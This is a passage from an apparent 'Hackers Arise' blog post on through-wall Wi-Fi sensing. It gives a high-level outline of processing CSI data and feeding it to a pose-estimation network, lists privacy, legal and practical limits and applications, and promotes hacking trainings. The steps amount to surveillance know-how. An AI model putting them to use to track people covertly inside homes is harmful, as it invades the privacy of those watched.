• Use Python libraries or MATLAB scripts to process the CSI data.
• Apply filters to remove noise and static reflections.
• Feed the cleaned data into a pre-trained neural network (like DensePose) to reconstruct human poses

Step 4: Visualize the Results

• The output can be a 2D or 3D “stick figure” or heatmap showing where people are and how they’re moving.
• Some setups can even distinguish between individuals based on movement patterns.

Limitations and Considerations

• Wall Material: Thicker or metal-reinforced walls reduce accuracy.
• Privacy: This technology raises major privacy concerns—anyone with the right tools could potentially “see” through your walls.
• Legality: Unauthorized use of such technology may violate laws or regulations.

Real-World Applications

• Security: Detecting intruders or monitoring restricted areas. Companies like TruShield are offering commercial home security systems based upon this technology.
• Elder Care: Monitoring movement for safety without cameras.
• Smart Homes: Automating lighting or HVAC based on occupancy.
• Law Enforcement: Law enforcement agencies can detect and track suspects in their homes
• Intelligence Agencies: Can Use this technology to track spies or other suspects.

Summary

Wi-Fi sensing is a powerful, rapidly advancing field. With basic hardware (HackRF) and open-source tools, it’s possible to experiment with through-wall detection. This opens a whole new horizon in Wi-Fi Hacking and SDR for Hackers.

For more on this technology, attend our upcoming Wi-Fi Hacking training, July 22-24. If you are interested in building this device, look for our 2026 SDR for Hackers training.

As always, use this knowledge responsibly and be aware of the ethical and legal implications.

The post Can Hackers “See” Inside Your Home Using Wi-Fi to Track Your Location and Movement? first appeared on Hackers Arise.